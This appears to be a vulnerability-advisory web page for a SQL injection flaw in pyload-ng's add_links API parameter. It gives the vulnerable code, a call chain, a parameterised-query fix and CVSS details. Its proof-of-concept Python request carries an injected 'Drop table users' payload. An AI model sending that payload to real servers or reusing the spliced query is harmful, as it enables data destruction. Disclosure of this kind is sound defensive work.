Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-55156 — pyload-ng

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-89 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

  • Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
  • Affected code:

```python

@style.queue

def update_link_info(self, data):

"""

data is list of tuples (name, size, status, url)

"""

self.c.executemany(

"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",

data,

)

ids = []

statuses = "','".join(x[3] for x in data)

self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")

for r in self.c:

ids.append(int(r[0]))

return ids

````

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain

```xml

josn_blueprint.py#add_package

src/pyload/core/api/__init__.py#add_package

src/pyload/core/managers/file_manager.py#add_links

src/pyload/core/threads/info_thread.py#run

src/pyload/core/threads/info_thread.py#update_info

src/pyload/core/managers/file_manager.py#update_file_info

src/pyload/core/database/file_database.py#update_link_info

```

PoC

```python

import requests

if __name__ == "__main__":

url = "http://localhost:8000/json/add_package"

data = {

"add_name": "My Downloads1",

"add_dest": "0",

"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",

"add_password": "mypassword"

}

response = requests.post(url, cookies=your_cookies, data=data)

print(response.status_code, response.text)

```

<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

```python

def update_link_info(self, data):

"""

data is list of tuples (name, size, status, url)

"""

self.c.executemany(

"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",

data,

)

# 提取所有url

urls = [x[3] for x in data]

# 构建参数化查询,避免SQL注入

placeholders = ','.join(['?'] * len(urls))

query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"

self.c.execute(query, urls)

ids = [int(row[0]) for row in self.c.fetchall()]

return ids

```

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2025-55156 is classified as CWE-89: SQL Injection. Untrusted input is concatenated into an SQL statement, letting an attacker change the query and reach data the request should not return.

Affected software

CVE-2025-55156 is recorded against 2 packages.

  • pyload-ng (fixed in 0.5.0b3.dev91)
  • unknown

Timeline and source

Published on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

pyload-ng has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-89: SQL Injection) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CWE CWE-89
Public Exploit ✅ No
Source NVD
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
pyload-ng — 0.5.0b3.dev91
unknown — —

Similar Threats

Site Security Check

Is pyload-ng part of your stack?

CVE-2025-55156 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025
✓